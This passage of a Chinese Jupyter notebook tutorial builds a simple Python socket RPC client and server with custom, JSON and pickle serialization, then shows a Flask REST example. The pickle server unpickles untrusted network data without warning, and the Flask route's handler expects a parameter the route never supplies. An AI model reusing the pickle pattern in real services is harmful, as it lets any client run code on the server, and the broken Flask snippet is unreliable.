Server（被调用者）本地执行后将结果返回给服务端的RPC Proxy\n", "class MyCode(object):\n", " def sum(self, a, b):\n", " return a + b\n", "\n", " def get_time(self):\n", " import time\n", " return time.ctime()\n", "```\n", "4.然后再看看重头戏`Server Stub`:\n", "```py\n", "# server_stub.py\n", "import socket\n", "\n", "class ServerStub(object):\n", " def __init__(self, mycode):\n", " self.mycode = mycode\n", "\n", " def convert(self, num, obj):\n", " \"\"\"根据类型编号转换类型\"\"\"\n", " if num == \"1\":\n", " obj = int(obj)\n", " if num == \"2\":\n", " obj = float(obj)\n", " if num == \"3\":\n", " obj = str(obj)\n", " return obj\n", "\n", " def unpack(self, data):\n", " \"\"\"3.服务端的RPC Proxy组件把通过网络接收到的数据包按照相应格式进行拆包解码，获取方法名和参数\"\"\"\n", " msg = data.decode(\"utf-8\")\n", " # 格式应该是\"格式：func:函数名@params:类型编号-参数,类型编号2-参数2...\"\n", " array = msg.split(\"@\")\n", " func = array[0].split(\":\")[1]\n", " if len(array) > 1:\n", " args = list()\n", " for item in array[1].split(\":\")[1].split(\",\"):\n", " temps = item.split(\"-\")\n", " # 类型转换\n", " args.append(self.convert(temps[0], temps[1]))\n", " return (func, tuple(args)) # (func,args)\n", " return (func, )\n", "\n", " def pack(self, result):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\"\"\"\n", " # 格式：\"data:返回值\"\n", " return f\"data:{result}\".encode(\"utf-8\")\n", "\n", " def exec(self, func, args=None):\n", " \"\"\"4.服务端的RPC Proxy组件根据方法名和参数进行本地调用\"\"\"\n", " # 如果没有这个方法则返回None\n", " func = getattr(self.mycode, func, None)\n", " if args:\n", " return func(*args) # 解包\n", " else:\n", " return func() # 无参函数\n", "\n", " def handle(self, client_socket, client_addr):\n", " while True:\n", " # 获取客户端发送的数据包\n", " data = client_socket.recv(2048)\n", " if data:\n", " try:\n", " data = self.unpack(data) # 解包\n", " if len(data) == 1:\n", " data = self.exec(data[0]) # 执行无参函数\n", " elif len(data) > 1:\n", " data = self.exec(data[0], data[1]) # 执行带参函数\n", " else:\n", " data = \"RPC Server Error Code:500\"\n", " except Exception as ex:\n", " data = \"RPC Server Function Error\"\n", " print(ex)\n", " # 6.服务端的RPC Proxy组件将返回值打包编码成自定义的协议数据包，并通过网络发送给客户端的RPC Proxy组件\n", " data = self.pack(data) # 把函数执行结果按指定协议打包\n", " # 把处理过的数据发送给客户端\n", " client_socket.send(data)\n", " else:\n", " print(f\"客户端：{client_addr}已断开\\n\")\n", " break\n", "```\n", "再简要说明一下：**里面方法其实主要就是`解包`、`执行函数`、`返回值打包`**\n", "\n", "输出图示：\n", "![3.div.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116223931438-2073811968.png)\n", "\n", "再贴一下上面的时序图：\n", "![4.时序图.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116224934398-1277123948.png)\n", "\n", "课外拓展：\n", "```\n", "HTTP1.0、HTTP1.1 和 HTTP2.0 的区别\n", "https://www.cnblogs.com/heluan/p/8620312.html\n", "\n", "简述分布式RPC框架\n", "https://blog.csdn.net/jamebing/article/details/79610994\n", "\n", "分布式基础—RPC\n", "http://www.dataguru.cn/article-14244-1.html\n", "```\n", "\n", "下节预估：**RPC服务进一步简化与演变**、**手写一个简单的REST接口**" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 4.RPC简化与提炼\n", "\n", "上篇回顾：万物互联之~RPC专栏 https://www.cnblogs.com/dunitian/p/10279946.html\n", "\n", "### 上节课解答\n", "\n", "之前有网友问，很多开源的RPC中都是使用路由表，这个怎么实现？\n", "\n", "其实路由表实现起来也简单，代码基本上不变化，就修改一下`server_stub.py`的`__init__`和`exe`两个方法就可以了：\n", "```py\n", "class ServerStub(object):\n", " def __init__(self, mycode):\n", " self.func_dict = dict()\n", " # 初始化一个方法名和方法的字典（{func_name:func}）\n", " for item in mycode.__dir__():\n", " if not item.startswith(\"_\"):\n", " self.func_dict[item] = getattr(mycode, item)\n", "\n", " def exec(self, func, args=None):\n", " \"\"\"4.服务端的RPC Proxy组件根据方法名和参数进行本地调用\"\"\"\n", " # 如果没有这个方法则返回None\n", " # func = getattr(self.mycode, func, None)\n", " func = self.func_dict[func]\n", " if args:\n", " return func(*args) # 解包\n", " else:\n", " return func() # 无参函数\n", "```\n", "\n", "### 4.1.Json序列化\n", "\n", "Python比较6的同志对上节课的Code肯定嗤之以鼻，上次自定义协议是同的通用方法，这节课我们先来简化下代码：\n", "\n", "再贴一下上节课的时序图：\n", "![4.时序图.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116224934398-1277123948.png)\n", "\n", "#### 1.Json知识点\n", "\n", "官方文档：https://docs.python.org/3/library/json.html\n", "\n", "```py\n", "# 把字典对象转换为Json字符串\n", "json_str = json.dumps({\"func\": func, \"args\": args})\n", "\n", "# 把Json字符串重新变成字典对象\n", "data = json.loads(data)\n", "func, args = data[\"func\"], data[\"args\"]\n", "```\n", "\n", "需要注意的就是类型转换了（eg：`python tuple` ==> `json array`）\n", "\n", "| Python | JSON |\n", "| ----------- | ------ |\n", "| dict | object |\n", "| list, tuple | array |\n", "| str | string |\n", "| int, float | number |\n", "| True | true |\n", "| False | false |\n", "| None | null |\n", "\n", "**PS：序列化：`json.dumps(obj)`，反序列化：`json.loads(json_str)`**\n", "\n", "#### 2.消息协议采用Json格式\n", "\n", "在原有基础上只需要修改下`Stub`的`pack`和`unpack`方法即可\n", "\n", "**Client_Stub**（类型转换都省掉了）\n", "```py\n", "import json\n", "import socket\n", "\n", "class ClientStub(object):\n", " def pack(self, func, args):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\n", " 格式：{\"func\": \"sum\", \"args\": [1, 2]}\n", " \"\"\"\n", " json_str = json.dumps({\"func\": func, \"args\": args})\n", " # print(json_str) # log 输出\n", " return json_str.encode(\"utf-8\")\n", "\n", " def unpack(self, data):\n", " \"\"\"解包：获取返回结果\"\"\"\n", " data = data.decode(\"utf-8\")\n", " # 格式应该是\"{data:xxxx}\"\n", " data = json.loads(data)\n", " # 获取不到就返回None\n", " return data.get(\"data\", None)\n", "\n", " # 其他Code我没有改变\n", "```\n", "\n", "**Server Stub**（）\n", "```py\n", "import json\n", "import socket\n", "\n", "class ServerStub(object):\n", " def unpack(self, data):\n", " \"\"\"3.服务端的RPC Proxy组件把通过网络接收到的数据包按照相应格式进行拆包解码，获取方法名和参数\"\"\"\n", " data = data.decode(\"utf-8\")\n", " # 格式应该是\"格式：{\"func\": \"sum\", \"args\": [1, 2]}\"\n", " data = json.loads(data)\n", " func, args = data[\"func\"], data[\"args\"]\n", " if args:\n", " return (func, tuple(args)) # (func,args)\n", " return (func, )\n", "\n", " def pack(self, result):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\"\"\"\n", " # 格式：\"data:返回值\"\n", " json_str = json.dumps({\"data\": result})\n", " return json_str.encode(\"utf-8\")\n", " \n", " # 其他Code我没有改变\n", "```\n", "\n", "输出图示：\n", "![3.div.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116223931438-2073811968.png)\n", "\n", "### 4.2.Buffer序列化\n", "\n", "RPC其实更多的是二进制的序列化方式，这边简单介绍下\n", "\n", "#### 1.pickle知识点\n", "\n", "官方文档：https://docs.python.org/3/library/pickle.html\n", "\n", "用法和`Json`类似，**PS：序列化：`pickle.dumps(obj)`，反序列化：`pickle.loads(buffer)`**\n", "\n", "#### 2.简单案例\n", "\n", "和Json案例类似，也只是改了`pack`和`unpack`，我这边就贴一下完整代码（防止被吐槽）\n", "\n", "**1.Client**\n", "```py\n", "# 和上一节一样\n", "from client_stub import ClientStub\n", "\n", "def main():\n", " stub = ClientStub((\"192.168.36.144\", 50051))\n", "\n", " result = stub.get(\"sum\", (1, 2))\n", " print(f\"1+2={result}\")\n", "\n", " result = stub.get(\"sum\", (1.1, 2))\n", " print(f\"1.1+2={result}\")\n", "\n", " time_str = stub.get(\"get_time\")\n", " print(time_str)\n", "\n", "if __name__ == \"__main__\":\n", " main()\n", "```\n", "\n", "**2.ClientStub**\n", "```py\n", "import socket\n", "import pickle\n", "\n", "class ClientStub(object):\n", " def __init__(self, address):\n", " \"\"\"address ==> (ip,port)\"\"\"\n", " self.socket = socket.socket()\n", " self.socket.connect(address)\n", "\n", " def pack(self, func, args):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\"\"\"\n", " return pickle.dumps((func, args))\n", "\n", " def unpack(self, data):\n", " \"\"\"解包：获取返回结果\"\"\"\n", " return pickle.loads(data)\n", "\n", " def get(self, func, args=None):\n", " \"\"\"1.客户端的RPC Proxy组件收到调用后，负责将被调用的方法名、参数等打包编码成自定义的协议\"\"\"\n", " data = self.pack(func, args)\n", " # 2.客户端的RPC Proxy组件在打包完成后通过网络把数据包发送给RPC Server\n", " self.socket.send(data)\n", " # 等待服务端返回结果\n", " data = self.socket.recv(2048)\n", " if data:\n", " return self.unpack(data)\n", " return None\n", "```\n", "**3.Server**\n", "```py\n", "# 和上一节一样\n", "import socket\n", "from server_stub import ServerStub\n", "\n", "class RPCServer(object):\n", " def __init__(self, address, mycode):\n", " self.mycode = mycode\n", " # 服务端存根（RPC Proxy）\n", " self.server_stub = ServerStub(mycode)\n", " # TCP Socket\n", " self.socket = socket.socket()\n", " # 端口复用\n", " self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", " # 绑定端口\n", " self.socket.bind(address)\n", "\n", " def run(self):\n", " self.socket.listen()\n", " while True:\n", " # 等待客户端连接\n", " client_socket, client_addr = self.socket.accept()\n", " print(f\"来自{client_addr}的请求：\\n\")\n", " try:\n", " # 交给服务端存根（Server Proxy）处理\n", " self.server_stub.handle(client_socket, client_addr)\n", " except Exception as ex:\n", " print(ex)\n", "\n", "if __name__ == \"__main__\":\n", " from server_code import MyCode\n", " server = RPCServer(('', 50051), MyCode())\n", " print(\"Server启动ing，Port：50051\")\n", " server.run()\n", "```\n", "**4.ServerCode**\n", "```py\n", "# 和上一节一样\n", "# 5.RPC Server（被调用者）本地执行后将结果返回给服务端的RPC Proxy\n", "class MyCode(object):\n", " def sum(self, a, b):\n", " return a + b\n", "\n", " def get_time(self):\n", " import time\n", " return time.ctime()\n", "```\n", "**5.ServerStub**\n", "```py\n", "import socket\n", "import pickle\n", "\n", "class ServerStub(object):\n", " def __init__(self, mycode):\n", " self.mycode = mycode\n", "\n", " def unpack(self, data):\n", " \"\"\"3.服务端的RPC Proxy组件把通过网络接收到的数据包按照相应格式进行拆包解码，获取方法名和参数\"\"\"\n", " func, args = pickle.loads(data)\n", " if args:\n", " return (func, args) # (func,args)\n", " return (func, )\n", "\n", " def pack(self, result):\n", " \"\"\"打包：把方法和参数拼接成自定义的协议\"\"\"\n", " return pickle.dumps(result)\n", "\n", " def exec(self, func, args=None):\n", " \"\"\"4.服务端的RPC Proxy组件根据方法名和参数进行本地调用\"\"\"\n", " # 如果没有这个方法则返回None\n", " func = getattr(self.mycode, func)\n", " if args:\n", " return func(*args) # 解包\n", " else:\n", " return func() # 无参函数\n", "\n", " def handle(self, client_socket, client_addr):\n", " while True:\n", " # 获取客户端发送的数据包\n", " data = client_socket.recv(2048)\n", " if data:\n", " try:\n", " data = self.unpack(data) # 解包\n", " if len(data) == 1:\n", " data = self.exec(data[0]) # 执行无参函数\n", " elif len(data) > 1:\n", " data = self.exec(data[0], data[1]) # 执行带参函数\n", " else:\n", " data = \"RPC Server Error Code:500\"\n", " except Exception as ex:\n", " data = \"RPC Server Function Error\"\n", " print(ex)\n", " # 6.服务端的RPC Proxy组件将返回值打包编码成自定义的协议数据包，并通过网络发送给客户端的RPC Proxy组件\n", " data = self.pack(data) # 把函数执行结果按指定协议打包\n", " # 把处理过的数据发送给客户端\n", " client_socket.send(data)\n", " else:\n", " print(f\"客户端：{client_addr}已断开\\n\")\n", " break\n", "``` \n", "\n", "输出图示：\n", "![3.div.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190116223931438-2073811968.png)\n", "\n", "然后关于RPC高级的内容（会涉及到`注册中心`），咱们后面说架构的时候继续，网络这边就说到这\n", "\n", "## 5.Restful API\n", "\n", "RESTful只是接口协议规范，它是建立在http基础上的，我们在网络加强篇的末尾简单带一下，后面讲爬虫应该会再给大家说的\n", "\n", "### 5.1.实现一个简单的REST接口\n", "\n", "**在编写REST接口时，一般都是为HTTP服务的**。为了实现一个简单的REST接口，你只需让代码满足Python的`WSGI`标准即可\n", "\n", "#### 1.Restful引入\n", "\n", "这边我就不自己实现了（上面手写服务器的时候其实已经展示了Restful接口是啥样），用`Flask`快速过一遍：\n", "\n", "看个引入案例：\n", "```py\n", "import flask\n", "\n", "app = flask.Flask(__name__)\n", "\n", "@app.route(\"/\")\n", "def index():\n", " return \"This is Restful API Test\"\n", "\n", "if __name__ == \"__main__\":\n", " app.run()\n", "```\n", "图示输出：\n", "![5.api.png](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190117172049754-2123550427.png)\n", "\n", "Server Log：\n", "```\n", " * Serving Flask app \"1.test\" (lazy loading)\n", " * Environment: production\n", " WARNING: Do not use the development server in a production environment.\n", " Use a production WSGI server instead.\n", " * Debug mode: off\n", " * Running on http://127.0.0.1:8080/ (Press CTRL+C to quit)\n", "127.0.0.1 - - [17/Jan/2019 17:24:02] \"GET / HTTP/1.1\" 200 -\n", "```\n", "\n", "#### 2.简单版RESTful Services\n", "\n", "举个查询`服务器节点`信息的例子：`/api/servers/`\n", "\n", "```py\n", "import flask\n", "from infos import info_list\n", "\n", "app = flask.Flask(__name__)\n", "\n", "# Json的404自定义处理（不加自定义处理会返回默认404页面）\n", "@app.errorhandler(404)\n", "def not_found(error):\n", " return flask.make_response(\n", " flask.jsonify({\n", " \"data\": \"Not Found\",\n", " \"status\": 404\n", " }), 404)\n", "\n", "# 运行Get和Post请求\n", "@app.route(\"/api/v1.0/servers/\", methods=[\"GET\", \"POST\"])\n", "def get_info(name):\n", " infos = list(filter(lambda item: item[\"name\"] == name, info_list))\n", " if len(infos) == 0:\n", " flask.abort(404) # 404\n", " # 基于json.dumps的封装版\n", " return flask.jsonify({\"infos\": infos}) # 返回Json字符串\n", "\n", "if __name__ == \"__main__\":\n", " app.run(port=8080)\n", "```\n", "图示输出：(不深入说，后面爬虫会再提的)\n", "![6.test.gif](https://img2018.cnblogs.com/blog/1127869/201901/1127869-20190117214031303-429715057.gif)\n", "\n", "课后拓展：\n", "```\n", "RESTful API 设计指南\n", "http://www.ruanyifeng.com/blog/2014/05/restful_api.html\n", "\n", "RESTful API 最佳实践\n", "http://www.ruanyifeng.com/blog/2018/10/restful-api-best-practices.html\n", "\n", "异步 API 的设计\n", "http://www.ruanyifeng.com/blog/2018/12/async-api-design.html\n", "\n", "使用python的Flask实现一个RESTful API服务器端[翻译]\n", "https://www.cnblogs.com/vovlie/p/4178077.html\n", "```" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.0" } }, "nbformat": 4, "nbformat_minor": 2 }